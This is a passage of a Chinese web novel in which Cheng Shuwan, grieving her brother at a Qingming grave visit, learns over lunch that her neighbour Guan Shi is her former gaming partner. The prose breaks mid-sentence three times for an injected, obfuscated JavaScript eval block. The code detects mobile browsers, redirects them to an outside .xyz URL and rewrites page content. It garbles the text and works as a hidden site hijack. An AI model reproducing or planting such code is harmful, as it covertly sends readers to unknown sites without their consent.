程舒晚攥着他的衣服,指骨用力得发白,她并不想一言不发地占关时便宜,但是她实在有点儿累了。 她天真地以为程舒恒的死会给父母带来哪怕一点点的反思,至少在今天,在程舒恒墓前,能安静些、收敛些。 她还是把父母想得太善良,事实证明,装睡的人是没办法被叫醒的。 偶尔在几个难眠的夜晚,她真的怨程舒恒就这么逃了,剩下一个烂摊子扔在她身上,放不下,甩不掉,也不能逃。 狗操的人生。 可是即便如此,她依然不敢放肆,不愿向面前这个处处关照她的青年吐露任何,连哭都杳无声息。 她不能让关时成为下一个周嘉安。 这些事情他只要做个隔岸观火的过路人,离得越远越好,像现在这样借她一个肩膀已经足够,她从关时身上索要的东西太多。 程舒晚不允许自己像父母一样不知满足。 冲水冲了有十来分钟,程舒晚情绪也逐渐平息,抬头挣了挣手,“可以了。” 见她仍然没有吐露心声的意思,关时有点遗憾,但也没逞强,关掉水龙头,给周嘉安发了条信息告诉他位置。 “手还痛吗?”关时收起手机看向程舒晚,顿了顿,“哇……” 她刚刚一声不吭不吵不闹,还以为没怎么样,结果现在眼睛红得跟兔子似的,一看就知道刚才哭得多凶。 “没事,不怎么疼了。”程舒晚看到他的目光,垂下眼,“失态了。” “不,我还挺高兴的。”关时耸肩笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364911|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“一直怕你那哪天把自己憋出毛病,看你会哭我就放心了。” 程舒晚瞪了他一眼。 关时毫不在意地靠在在洗手台沿,“等下他们拿东西过来再帮你上点药。” “……嗯。”程舒晚刚哭完也不知道说什么,学着他靠在洗手台边沿,朝外面望着。 天阴沉,不断有人提着花和祭祀用品往山坡上走,来来去去,不似葬礼肃穆,不少人有说有笑,就像出游一般。 亲人离去的伤痛总会被时间冲淡,亦或者,清明这天是与亲人短暂的见面,不必伤感。 像父母那样,不听,不看,不放手,又能怎么样呢。 大概程舒恒也不想见他们吧。 他在选择死亡之前,是怎么想父母,怎么想她的呢?会是恨意……或者其他什么情绪吗? 微微的冷风吹过,程舒晚紧了紧身上关时的风衣,把头发别到耳后,问:“有烟吗?” 关时扭头看她,这场面似曾相识,“烟?” “嗯。”大概是被墓园的气氛和父母的态度触动,程舒晚忽然想起上次的探究没有得到答案。 程舒恒到底在想什么呢。 “你还想再试一次?不过我没烟。”关时从兜里摸出一颗薄荷糖给她,“吃这个吧。” 程舒晚接过糖,“你没带烟?” “不是。”关时给自己也拆了一颗,“戒了。” 程舒晚微微一愣,“什么时候?” 关时:“从……” ——你开始直播那天,我决定要帮你的时候。 他手里剥糖的动作停滞片刻,随后神色如常地把糖扔嘴里,笑了,“没什么,就某天突然想通了,健康地活久一点比什么都重要。” 程舒晚“啊”了声,“活久一点比什么都重要,这个问题你曾经没想通?” 关时:“……” 这妮子真尖锐啊。 他嗤笑一声,随后慢慢收敛笑意沉默下来。程舒晚不知道自己哪个字戳到他,只闭着嘴站在旁边,手里捏着薄荷糖。 “确实曾经没想通。”关时开口,“你哥死的前一天,我们一家出远门旅游。” 程舒晚微怔,没想到这个话题还跟程舒恒有关。 “玥玥是请假跟着我们去的,你哥是她班主任,知道我们什么时间开始不在朔江。”关时垂眸,“他是特意躲开了我。” 程舒晚:“……” “你哥出事之后,刘叔,就是你楼下的邻居,隔天给我打了电话,我改签了最早的航班回来,还是没见到他。”关时轻轻呼出一口气,“我想不通他为什么能这么狠心,一句话不说,一点情面不留,也想不通……我为什么不值得他依靠。” “虽然我知道不是我的过错,但我总在想,如果我没有出门旅行,如果我能多跟他喝两次酒,交两次心,是不是能提前了解到他是怎么想的,而不是当一个从头到尾都被蒙在鼓里的白痴。” “结果还是,谁都救不了。” 关时的声音越说越轻,最后几乎是呢喃。 程舒晚拽了拽他的袖子。 “别这么想。”她道,“你很好。” 关时回神,语气轻松地笑起来,“你今天夸我真的好坦诚,爱上我了?” “……”程舒晚心尖一麻,恼羞成怒地锤他一拳。 “这么有劲儿,看来不用担心你了。”关时揉了揉手臂,“没事,我说我想通了。” 程舒晚:“想通要活久一点?” 关时噙着笑,目光轻轻贴在她脸上,没说话。 程舒晚被他盯得脸有点发热,移开目光:“看我干什么,有屁放。” 关时笑着“嗯”了声,“是得活得久一点。” “至少要活到,我们大主播红得人尽皆知那一天。” 39. 做客 谭婧带着周嘉安找过来的时候,一眼就看出来程舒晚哭过,张嘴片刻在关时身上打量半晌,对这位帅哥的评价上了一个档次。 她都没见过几次程舒晚哭呢。 谭婧端着程舒晚的爪子左瞧右看问了许多问题,得到关时“没事”的诊断才放下心,倒是周嘉安似乎仍在自责,关时帮程舒晚上药的时候他站在旁边,皱着眉头神情凝重。 程舒晚被他盯得不自在了:“周律,真的不是你的问题。” 周嘉安若有所思地认真回答:“我上次对叔叔阿姨的评估有些偏差。” “……你太委婉了。”谭婧道。 周嘉安给谭婧一个眼神,“谭律,一会儿有空吗?” 谭婧扬了扬眉,从周嘉安的目光里察觉到什么。 “怎么,要补上次没喝的咖啡?”她笑嘻嘻的,转头问程舒晚,“你们一会什么打算?不会再回你哥墓那儿吧?” 如果没有父母这场闹剧,程舒晚本来是打算多呆一会的,但现在的话,她指了指关时,“我等他们家结束一起回去……嘶。” 关时正用纱布把她上药的手包起来,听这动静手一顿,“缠太紧了?” 程舒晚:“没事,疼了一下。” 关时:“那我轻点。” “哎哟,看我俩在这儿多余的。”谭婧酸不溜秋地对周嘉安吐槽,“晚子,那我俩就先撤了,找个地交流下专业上的问题。” “这就走?”程舒晚愣了,就算是同行也不用卷成这样吧,但他们本来就是专程来祭奠程舒恒,现在闹这么一档子事留下也没啥意思,“不一起吃个午饭?” “缺你那一口饭么,过两天再约得了,今天你早点回去休息。”谭婧说。 关时包扎完毕,把医药箱还给周嘉安,对两人展露笑容:“今天认识两位太匆忙,回头一起吃火锅,我做东。” “好啊,恭敬不如从命!”谭婧道,“回头约。” 谭婧和周嘉安拎着医药箱又离开了,待到走过洗手间的拐角,她才问周嘉安:“你是不是想说晚子爹妈的事?” 周嘉安沉着脸点头,“我说句直白的话,可能不太好听——如果未来有什么官司,你也不太方便的话,可以找我。” 谭婧扭头看他,神情微妙。 在半小时之前,周嘉安还是对晚子爹妈抱有愧疚心的模样,见识到现实之后居然这么快就调整了过来,甚至开始想解决办法? 心系晚子的那个帅哥也是,这个周嘉安也是,恒哥交友眼光这么好? “我指的是舒晚小姐和她的父母之间。”周嘉安补充。 “我知道。”谭婧收回飞出天际的思绪回到这个话题上,“你说的我也琢磨过,并不好操作,血缘关系摆在那儿,舒晚她自己的压力也很大。” “说到这个,我有点疑惑。”周嘉安道,“在处理师兄遗产的时候,我接触过他们家的财产和收入情况,他们夫妻二人居住的房子购入时间是三年前,但一个货车司机、一个退休酒店前台员工,收入并不足够还房贷,按照合同,首付是师兄支付,后续还贷是舒晚,她本身也有一定数额的积蓄,可以说她是目前家里的经济支柱,但为什么看起来依然没有话语权的样子?” 谭婧默然片刻,叹了口气,“她爹妈不是什么泼皮无赖,相反,虽然文化水平有限,但家教绝对严苛,她跟恒哥都是名牌大学,某种意义上来说他们的教育非常成功。” “只是他们没把他俩当人。”她露骨地嗤笑,“相比起父母子女,他们家的关系更像主人和两条狗,家犬要花多长时间和精力才能做到真正忤逆主人?” 周嘉安蹙眉,本能地对这个比喻感到不舒服,“你跟舒晚不是朋友吗?” “所以我更不能粉饰我感受到的事情。”谭婧盯着周嘉安,“你说这么多,是想帮她的对吧?” 周嘉安回望她,“师兄是个很好的人。他既然把身后事都委托给了我,我自然要处理妥当,善始善终。” “那我们就是同一条战线。”谭婧伸出手,“至少在我们熟悉的领域给她一点支持吧,周律。” 周嘉安推推眼镜,握住她的手,“喝咖啡吗?” 谭婧笑了下,“工作不能喝酒,所以我更喜欢喝茶。” 程舒晚不知道自家闺蜜已经开始忙着帮她盘最坏的打算,正跟关时去墓园另一边,他父亲的墓碑。 姚婉婷和关星玥已经扫去了墓碑的灰摆上祭品,见程舒晚受伤的手免不了嘘寒问暖一番。程舒晚有点受宠若惊,解释好几遍她俩才作罢,回头瞧见关时在旁勾着嘴角笑。 有些无奈,但又很是慰藉。 程舒晚拿出托在关星玥这儿的花走到墓碑跟前,第一次见到兄妹俩的父亲。墓碑上的男人约莫三十五岁,五官浓烈,笑得很爽朗,从长相上能窥探到更年长些的关时是什么模样。 照片旁边写着他的名字,关浩忠。 关时把梅子酒放在墓碑跟前,咳嗽了声,“忠哥,好久不见。” 姚婉婷给了他后脑勺一下:“这是你爹!有没有个正形!” 关时:“我现在跟我爸就差七岁,喊声哥怎么了?” 姚婉婷被他的歪理震得暂停好几秒,无言以对地笑了,“真快,都二十年了。” 程舒晚在旁说不上话,被关星玥戳了戳,拉到一边去,“让他们俩待一会儿呗,每年都挺多话说的。诺,给你。” 她递过来的是一颗薄荷糖,跟关时给的是同一种,程舒晚搞不懂他们怎么常备那么多糖,接了过来,“你不去说说?” “嗯……我不知道说什么啦。”关星玥靠在步梯边的栏杆上,不太所谓道,“我没见过爸爸,他死的时候我还没出生,关于他的事情我都是后来听别人说的,怎么说呢……对我来说,更像是一个英雄主义的故事吧。” 程舒晚微愣,斟酌着问:“是意外?” “见义勇为。”关星玥对父亲的死没有什么负担,非常坦然道,“有个瘾君子持刀抢劫,我爸爸救人,被捅了二十三刀,该破的不该破的全破了,没撑到救护车来。” 程舒晚:“……” 此刻,她对二十年前的大荷到底多乱有了更加直观的体会。 “妈妈和哥哥都说爸爸是顶好顶好的人,”关星玥抿嘴,“但我有时候还是会想,如果他不是顶好顶好的人就好了,我们家现在可能还完满点儿。” 程舒晚扭头去,无言的墓碑跟前,年过半百的姚婉婷和长大成人的关时正蹲在照片跟前,唠家常一般聊着什么,时而发笑,时而沉默。 时代发展得太快,似乎一切都在变好,但有些人、有些事却永远搁浅在洪流的缝隙中,而前行者们只有在偶尔靠岸停泊时,才能透过些许痕迹窥探到泛黄陈旧的昨日虚影。 在角落蒙尘生锈的尸骨,也曾是谁心心念念的全部啊。 关星玥似乎只是感慨一下,没说太多,程舒晚也没多问。待到祭拜完关浩忠,程舒晚和关时又悄摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364912|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿回程舒恒的墓前,蒋慧玲和程国鑫已经不在这儿了,便带着关星玥和姚婉婷重新祭拜程舒恒,结束了清明的扫墓。 回到红枫小区的时候已经中午,姚婉婷执意邀请程舒晚去501一起吃午饭,程舒晚本想拒绝,但关时一句“你告诉我你那双手怎么做饭”堵死了她所有借口,最后腆着脸带着张嘴就登门来了。 这是她第一次来501,跟802是差不多的格局,装修是有些年头了,但是收拾得非常整洁干净,墙角、窗台还点缀着鲜花绿植,应该是姚婉婷养的,相当有闲情逸致。 不像蒋慧玲和程国鑫在的房子,规矩到一点人气儿都没有,再加上他们俩那脾气,程舒晚辞职回来就暂住了三天,在自己的笔记本电脑被砸烂时忍到了极限,隔天收拾完行李摔门就走。 和那地方一比较,501简直是天堂。 姚婉婷和关时一起准备午饭,依然以手伤为由把程舒晚赶出厨房,关星玥自然而然接手了招待的任务,拉着程舒晚把家里每个房间介绍了一遍。 在关时房间门口,程舒晚没进去,只是扶着门框浅浅打量了一圈。他的房间朝南,虽然今天天气一般但采光依然很好,摆设简洁,除了床和衣柜之外只有窗前摆了张懒人沙发和书柜,书柜上摆满武侠、科幻小说和经济学书籍,底下还有已经褪了色的漫画和游戏杂志。 程舒晚有些新奇,仿佛目睹了那青年成长的影子。 关星玥拽着程舒晚回自己房间,不知道从哪个字眼牵扯到文山中学的填鸭教育,一下子朝这位同校师姐倒起苦水来。 程舒晚一搭一搭地应着,但小姑娘越说越气愤,给自己说急眼了,把作业往书桌上一堆,“你看,清明节就三天,布置这么多作业!老师他们自己没有墓要扫吗!” 文中十几年一直这样……程舒晚腹诽,但秉承着不要扫小孩子的兴的原则,配合地掂了下关星玥的作业,放在最上面的是张英语卷子,她不由扫了眼。 关星玥见她没反应,插着腰强调:“是不是很多!” 程舒晚盯着试卷:“三十八题错了,选B。” 关星玥:“……” 寻求共鸣大失败。 “程姐姐你高中肯定是卷王大学霸。”关星玥叹了口气,把自己的作业收回来,“海宜大学,再给我一百分也考不上。” “嗯,我那会儿是很努力。”程舒晚没有谦虚,“不过虽然学习很努力……” 关星玥闻言心道还有反转,立马来了精神,企图听到她的弱点:“嗯嗯,然后呢?” 程舒晚:“但我游戏玩得也很牛逼。” 关星玥:“……我要闹了。” 虽然但是是这么用的吗! 程舒晚笑了,“我高二那阵,每周五周六都要跑网吧打游戏的。” “那频次也不高呀,我们这儿的常客有每晚都来的呢。”关星玥道,“程姐姐你玩什么?《封神图录》?” “嗯。”程舒晚看着她,“我那会儿用的就是现在直播的账号。当时还有一个游戏搭子,周五周六一起双排上分。” 关星玥不知道想到什么,表情稍稍僵住,硬着头皮接话,“呃……这,这样啊。” “是个很放肆的男生,比我大一点儿。”程舒晚似笑非笑地盯着关星玥微微发虚的表情,“他的网名叫二更天。” 关星玥:“……” 不,我听不见。 别跟我说。 我什么都不知道。 40. 扒马 程舒晚本来还有点沉浸在早上一连串破事带来的低落情绪里,但是提到《封神图录》,她就不可避免地想到昨晚困扰到失眠的问题,再看关星玥,猛然察觉到这是个很好的套情报的机会。 她不可能直接去问关时“你是不是二更天”这样的蠢话,一想到之前自己那么多次表达自己喜欢二更天,直接对峙无异于自杀。 丢人呐。 跟关时那满嘴跑火车的家伙斗智斗勇,还不如先欺负欺负这个十几岁的小孩儿。 想到这儿,程舒晚看着关星玥的目光笑意更浓。 还不知道即将面对什么的关星玥心虚地避开程舒晚的目光,但是如果不接茬的话估计就瞒不住了,只能强撑着假意惊奇:“二更天?原来说的就是他呀,那昨天在直播间说的那些都是真的?” 程舒晚静静地看她表演,非常自如地接上话:“嗯,我高二的时候过得非常辛苦,如果没有二更天陪着,我可能撑不到现在。” “啊,”关星玥没有从关时那里听说过这段,一下子真好奇起来了,“那程姐姐你当时跟二更天有网恋吗?” “没。”程舒晚微微笑了下,“我单恋。” “哇……”关星玥真被忽悠住了,发出吃瓜的赞叹,“那后来呢?他没发现?” “后来,”程舒晚话头一转,“我不小心放了他一次鸽子,他就没再出现过了,无疾而终。” 关星玥一愣,“呃……” 程舒晚撑着下巴,“我那会儿想了很久,觉得他肯定是讨厌我了。” “怎么会!”关星玥刷地站起来,随后意识到自己反应太大了,又讪讪坐回床沿,“程姐姐这么好,哪个没眼光的才会讨厌你。二更天不会那么小气的啦,肯定是其他原因。” 程舒晚看了她一眼。 “……我猜的。”关星玥默默补充,“反正不是你的错。” 程舒晚莞尔:“我现在知道了他没有记恨我,但仍会觉得有些遗憾。” 关星玥:“遗憾?” 程舒晚:“我常常想,二更天这些年是不是过得不好,可我却没像他陪着我一样陪着他。” 房间里一时间沉默。 本来只是忽悠关星玥,但话说到这儿程舒晚却是真情实感地有点伤感起来,脑海里闪过兄妹俩父亲墓碑的画面,闪过关时手上长刀疤的画面,闪过关时说程舒恒死去那天是刻意躲着他的画面。 手背一暖,关星玥把手搭在她的手上,搓了搓。 “程姐姐,”她说,“你现在陪着他呢。” 程舒晚盯着关星玥。 “……啊,你看你们还一起打游戏呢对不对!”关星玥立刻给自己找补,“而且我昨天看你们直播,呃,他明显就很喜欢跟你打游戏!” 她非常努力掩饰,差点手舞足蹈自证清白,程舒晚没忍住笑了。 这孩子真可爱。 话毕,关星玥低头搓着自己的手,好半晌后下定决心似的开口:“程姐姐。” “嗯?” “你是不是,”她措着辞,非常艰难地问,“很想真正见二更天一面?” 程舒晚看着她,“是。” 关星玥问这么一句必然有意图。 “……我去看看他们做好饭没有。”关星玥看起来似乎确实想说些什么,但硬生生止住了,憋了半天站起身来闪身出了房间。 看来对垒结束了,好吧,也算有所收获。程舒晚站起来也往房间外走,还没到门口,小姑娘又蹦跶回来了:“开饭还要二十分钟,我们去玩会儿游戏吧。” 程舒晚:“……?” 她指了指自己被包扎得跟粽子一样的左手,至少今天是打不了游戏的。 “那就帮我看看我的账号吧。”关星玥也发现了这个bug,改了托词,“你那么厉害,教我一点儿也够我用的啦!” 程舒晚:“那行。” 她跟着关星玥穿过餐厅进了书房,小姑娘一边开了电脑登录上自己的账号,一边说道:“我哥那狗东西平时都不教我玩,但老拿我的号去跟胜哥他们打排位,搞得我自己都打不过啦……程姐姐你帮我看看,指点指点!” 她说着把椅子让给程舒晚,“我去给你倒杯水,账号你先看,什么皮肤啊装备啊图腾啊都行——但是别看好友列表哦,隐私,嘿嘿。” 说罢,关星玥一阵风似的刮出了书房,徒留程舒晚在原地,盯着空荡荡的门口愣了两秒。 皮肤装备图腾配装,能看,都行。 但别看好友列表。 如此此地无银三百两的暗示,程舒晚不由得惊奇——本来只是想套点情报,没想到关星玥真诚至此,家底儿都抖落出来给她看! 看来二更天在妹妹心里的地位堪忧啊。 都到这个份上来了程舒晚也不磨叽,坐到屏幕跟前,点开“闪亮妙咪子”的好友列表。 关星玥的账号好友有一百多人,大部分应该是同学朋友,清明假期一水儿在线。 程舒晚鼠标往下滑,除了滚轮的声响和游戏背景音乐之外,她还听见自己控制不住的心跳。 挺有意思的,明明她已经几乎笃定心中的那个答案,可临到头依然还会忐忑。 像是生怕看不到自己想看到的那个名字,又怕真的看到想看到的那个名字。 她还没考虑好要如何面对结果,但手指却坚定不移地往下划拉,不带停顿。 直到下一秒,“二更天”三个字毫无征兆地从底下刷上来。 她手指猛然止住,脑子里紧绷的弦嘣嘣几声全断了,心跳在此刻真真切切漏跳一拍。 二更天在关星玥的好友列表里,不但如此,ID后还跟着关星玥对此人的备注。 “老哥”。 一个像素点都不差。 所有的怀疑,在最后这块拼图面前得到了验证。 程舒晚宛若雕塑地盯着这个ID有十来秒,书房外传来脚步声,她关掉好友列表打开了人物界面,抬眼时关星玥正拿着水杯站在门口。 “咳,”关星玥的表情有点儿偷鸡摸狗的尴尬,一边打量程舒晚,一边走进来,“程姐姐看得怎么样?” 程舒晚扫了眼人物,“哦”了声,“你平时玩什么,我给你调一下出装吧。” 她平日不喜形于色,一张什么情绪都压得下去的冰山脸此刻起到了作用,关星玥愣是没看出来程舒晚有没有去翻她的好友列表,只能接话:“哦哦,我玩辅助多点儿,就这个……” 程舒晚给她擅长的人物调了调装备,一边提了几句游戏对局的要点,末了起身来:“洗手间在哪儿?” 关星玥指了指厨房:“厨房旁边。” 程舒晚走出门,还没靠近厨房就闻到饭菜的味道。想到那个表一套背一套的男人还在做饭,她纵使极力按捺,还是没忍住侧目往厨房瞄了眼。 午餐的准备应该已经进入收尾阶段,姚婉婷利索地把用完的锅洗起来,关时则站在灶台跟前,围着昨天那条格子围裙,正用小勺尝汤的咸淡。 这男人背后长眼似的,在程舒晚目光探过来的时候正正巧巧扭头来。视线碰上,他条件反射地露出了和煦的笑来:“午饭快好了。” 程舒晚盯着他的笑须臾,一言不发扭头走进厕所关上了门。 关时:“……?” 他笑什么笑,他有什么脸笑。 程舒晚怕刚刚再多看关时一会儿,自己会忍不住一拳打到那张笑得无辜的脸上去。 她在洗手台前站着,抬头望镜子里的自己,表情明明是冷的,但嘴角却不自觉扯起了嘲讽的角度。待到烫伤的左手传来刺痛,她低头才发现自己正用力攥着拳头,差点把包扎得工整的纱布揉皱。 嚯,这伤还是关时包的。 对了,上次被宁松明找上门来时刮伤,也是关时帮忙处理的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364913|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 也是那天,她为了隐瞒自己是阿早的事实,亲口告诉关时自己就是小鬼叉烧。 哈哈。 怪不得他当时听到之后脸色诡异。 怪不得他对二更天的存在那么在意。 怪不得直播第一天,二更天就那么凑巧地上线。 怪不得跟他搭档打游戏的时候会有那么熟悉的感觉。 八年前开始一起打游戏,六年前她开始做主播,四年前她退网,再到现在重新起号……从头到尾,她所有的窘迫,狼狈,沾沾自喜的小心思,他都知道。 他一句话都不说,只配合她的装模作样。 但他都知道。 程舒晚说不清楚现在是什么情绪,她本来以为自己早有心理准备,要说震惊,羞耻,欣喜,愤怒,昨天都已经提前感受过一遍了,应该能心平气和点儿接受这个结果才对。 但也不知道是不是今天的情绪实在太糟糕了些,她没有意料之中的平静,反而不可控制地难受起来。 她靠着墙深吸一口气,没来由的,突然想到早上在洗手池旁边阴白的天色下,关时微微笑着的侧脸。 他说,要活得久一点。 至少要活到,我们大主播红得人尽皆知那一天。 ……真是拙劣。 以为说这样的话,她就能原谅他这么长时间的装模作样? 他是不是太不把她程舒晚当回事了? 程舒晚把垂在额头跟前的头发往后撸了一把,盯着镜子里的自己,许久之后呼出一口气,下定什么决心似的。 “行。”她轻声道。 程舒晚打开洗手间的门,刚走出一步,关时从隔壁厨房出来了,两人同时脚步停顿,视线再次碰上。 “怎么了?”关时问,“手疼吗?” “没什么。”程舒晚垂下眼落在他手里端着的菜肴上,“糖醋排骨,好香。你做的?” 关时打量两眼,确实从程舒晚脸上看不出什么,这才放心地把话题转移过来:“香就等会多吃点,以后想吃告诉我,欢迎随时来蹭饭。” 他把糖醋排骨放餐桌上,回头来,程舒晚还一直看着他。 关时顿了下,不自觉摸了摸脸,“你今天的目光很嚣张啊,我是长得好看,但你天天见还没习惯?” 程舒晚摇摇头,“只是有点心痛。” 关时面露疑惑,心道这姑娘是不是今天心情不好情绪敏感过头,下一秒就看见那双清冷的眸子陡然靠近。 程舒晚往前一步,钻入关时面前半米的范围,只稍稍抬头就对上他略显愕然的目光。 她弯弯眼睛,凉淡的脸色昙花一现地流露出冰雪消融的笑意,声音很轻地滑过关时的耳朵—— “我心痛这位上得厅堂下得厨房的好邻居,不知道以后会便宜谁。” 说完这话,程舒晚轻巧地撤回了步子,仿佛什么都没发生过一样无辜地看着他。 关时:“……” 他显然没预判到程舒晚会突然凑近讲这样一句话,呆了有两秒才找到自己的嘴,扯开嘴角笑了笑,不服输似的接茬扯闲屁:“怎么,你觊觎我?早说嘛,我许给你就是了。” “啊,这样吗?”程舒晚惊讶,“可是我心有所属诶,让你失望了。” 关时:“……” 他一时半会儿没说出话来,震惊地盯着程舒晚。 这样的反应让程舒晚很满意。 不是喜欢装模作样么。 不是喜欢披着马甲线上线下来回演戏逗她玩儿么。 行啊。 一个人演戏多没意思。 游戏,还是得搭子俩一块儿玩才有趣。 “不对,你不是知道我心悦谁的吗?”程舒晚突然想起什么来似的,弯眼狡黠,放轻的语气带了点戏谑,“都知道了还说这样的话,难道说……” “你才是觊觎我的那个?” 41. 白狸 关时瞅着程舒晚。 他觉得自己的心情已经不能用震惊来形容,至少他感受到了另一种情绪。 火大。 是的,他现在有点火大。 昨天他问了程舒晚,她对自己保持的边界感是不是为二更天留的。 她说,没错。 他当时不知为何失落了一阵,但很快就释然了——如果这是她想要的,那么他接受。 只是即便程舒晚喜欢,他也不能容忍自己曾经的狂妄和无知,他早就抛弃了二十岁的自己,所以二更天只是二更天,不会是关时。 可是啊,程舒晚。 明明你已经亲口说了你喜欢二更天,我也依着你的想法摆好自己位置,让关时只做个守在一边的清道夫。 我已经退让了。 你现在为什么又来招惹我。 招惹完之后又迅速回正,宣告自己心有所属。 这是,戏弄? 你不把我,当一回事吗? 关时觉得自己应该生气,但是当目光对上程舒晚那双冰雪一样澄澈的眼眸时,他又什么指责都说不出来。 “我觊觎你什么,锱铢必较的小心眼儿么?”最后,关时还是找了个和缓的台阶下,拿出碗筷来摆桌上,“洗手吃饭,话那么多。” “哦。”程舒晚见好就收,还是打量了关时几眼,这才去书房喊关星玥吃饭。 关时很擅长控制自己的情绪,也很擅长如何避免矛盾。一方面程舒晚今天的确心情不好,偶尔的顽劣也是调解自己的方式;一方面这种场面也是他自己造成的,怨不了谁。 只是他有点不安。 仿佛有什么事变得跟以前不一样了。 就像是一个个被封存好了束之高阁的箱子,突然有个人爬上来拎着斧子砸烂了一把锁还逃之夭夭,但是他不知道是哪个箱子,也不知道被拿走了什么东西。 甚至可能不只一个箱子。 让他有点无措。 姚婉婷收拾完厨房擦着手出来:“喊她们吃饭没有?” “嗯。”关时低头给每个人盛汤。 姚婉婷一屁股坐下,看他一眼压低声音,“嘿,老实说说。” “嗯?”关时抬眸。 “舒晚啊。”姚婉婷说,“你觉得怎么样?” ……真是哪壶不开提哪壶。 关时继续盛汤,“什么怎么样。” “别给我搁这儿打太极!”姚婉婷不吃这一套,把他手里的汤勺夺了过来,“别以为我没看出来人姑娘今天哭过了,穿的还是你的衣服,她不说你不说那我也不问发生啥了,但你是不是该给我个准话?到底看上人家没?你不说我怎么帮你打辅助做规划?” 关时把汤勺重新拿回来,“这事儿你别管,该干嘛干嘛。” 姚婉婷不愧为从商几十年的人精,一眼就看出端倪,指着关时:“不对劲啊,十分甚至九分不对劲啊。” 关时没说话。 姚婉婷凑近来,“有什么顾虑?说说看?家庭?性格?未来发展?” “不是,”关时气笑了,“你就非得给我说这个媒?” “当妈的谁不这样!你多大了你不知道?马上三十了!”姚婉婷差点就要跳起来跟关时打擂台,“而且程囡这姑娘我很喜欢,至少你给我透个底吧,你要没心思我就当干女儿养了!” “我……”关时无力地盯着自家的妈,最后自嘲地笑了一声,“至少得人看上我吧。” 姚婉婷:“她没看上你?” 看上了。 但看上的不是现在的我。 姚婉婷:“你就说你看没看上她吧。” 关时沉默片刻,抬眸见程舒晚和关星玥从书房里出来,于是结束了这个话题:“吃饭了,坐吧。” 姚婉婷恨铁不成钢地瞪了关时一眼,“怂货。” 午餐很丰盛,有熬了一早上的鸡汤,炖煮得软烂的糖醋排骨,鲜香扑鼻的红烧茄子,煎得金黄的豆腐和水嫩的鸡蛋羹……以及只要关时在场就会出现的辣酱。 程舒晚不是第一次见了,对口味偏鲜甜的朔江人来说,关时实属是个异类。 她和关星玥坐在餐桌一边,关时就坐在对面,只要抬头就能对上对方那张养眼的脸,还有偶尔触碰的目光。虽然关时的表情没有任何破绽,依然笑得温热,承接母亲或者妹妹的话题,但程舒晚还是敏锐地察觉到。 他在回避她的视线。 这很新奇,从来都是狗里狗气的关时居然还有回避的时候。 难道刚才她的玩笑开得过火了? 不,他怎么不反思自己做得过火了。 她程舒晚也是有脾气的,而且脾气很大。 哼。 “来舒晚,你手不方便。”姚婉婷夹了块豆腐放程舒晚碗里。 程舒晚回过神来,有点愣,“谢谢。” 上一次有人给她夹菜可能还是程舒恒还没工作的时候,少说也要七八年了。 受宠若惊.jpg 姚婉婷夹完菜还不算完,笑盈盈地看着程舒晚,“最近在直播,挺辛苦吧?做得怎么样?” 开播还没多久,除了因为技术流女主播和二更天的噱头吸引进来的两三百人之外,还没有太多收益……但解释起来太麻烦,于是程舒晚选择了一个万能的回答:“还行。” 姚婉婷笑了,大概是听出来了。 “没关系,做自媒体急不得。”她说道,“我虽然对你的水平不太了解,但你是关时的投资,所以我不担心。我没说过我们家的店是怎么做大做强的吧?” 嗯? 姚婉婷说到这个,程舒晚突然想起来苏新胜说过,木吉网吧是姚婉婷和丈夫借钱开的,那时候的他们并没有多少资金。 而现在,虽然他们一家三口都住在这间老房子里,但生活水平已经能超越朔江市大部分普通家庭了。 朔江市可是两千万人口的一线城市。 关时出声:“陈年旧事有什么好说的。” “别管他。”姚婉婷瞪他一眼,变脸似的又笑着看程舒晚,“要听吗?” 程舒晚摆出愿闻其详的表情。 “当然,在九十年代就选择开网吧是我的魄力,赚了一笔。”姚婉婷不急不躁地点了自己一句,“不过后来网吧越开越多,我那点经验不太能应付新时代的竞争了,是这小子,比其他人先一步提出了转型。” 程舒晚看了眼关时,他正“谦虚”地低头吃饭,事不关己似的。 “店里多了餐饮和娱乐,比其他网吧都早。再后来,”姚婉婷往外指了指,“街尾有间网红文创书店,还有个咖啡馆,你记得吗?” 程舒晚有印象,都是生意很好的店面,偶尔路过都能瞧见里头人满为患的。 姚婉婷一笑,指着关时,“都是他投资的。” 程舒晚:“哇哦。” 关时终于发话了:“低调点,姚女士。” “你看,还不让夸了。”姚婉婷在关时脑袋上点了几下,“这小子呢,有些事儿不爱说,但他很看好你,你呢也不用有什么顾虑,放手去做就是了。如果关时有什么冒犯你的,记得跟阿姨说,我给你撑腰。你的事儿,我都支持。” 程舒晚:“……” 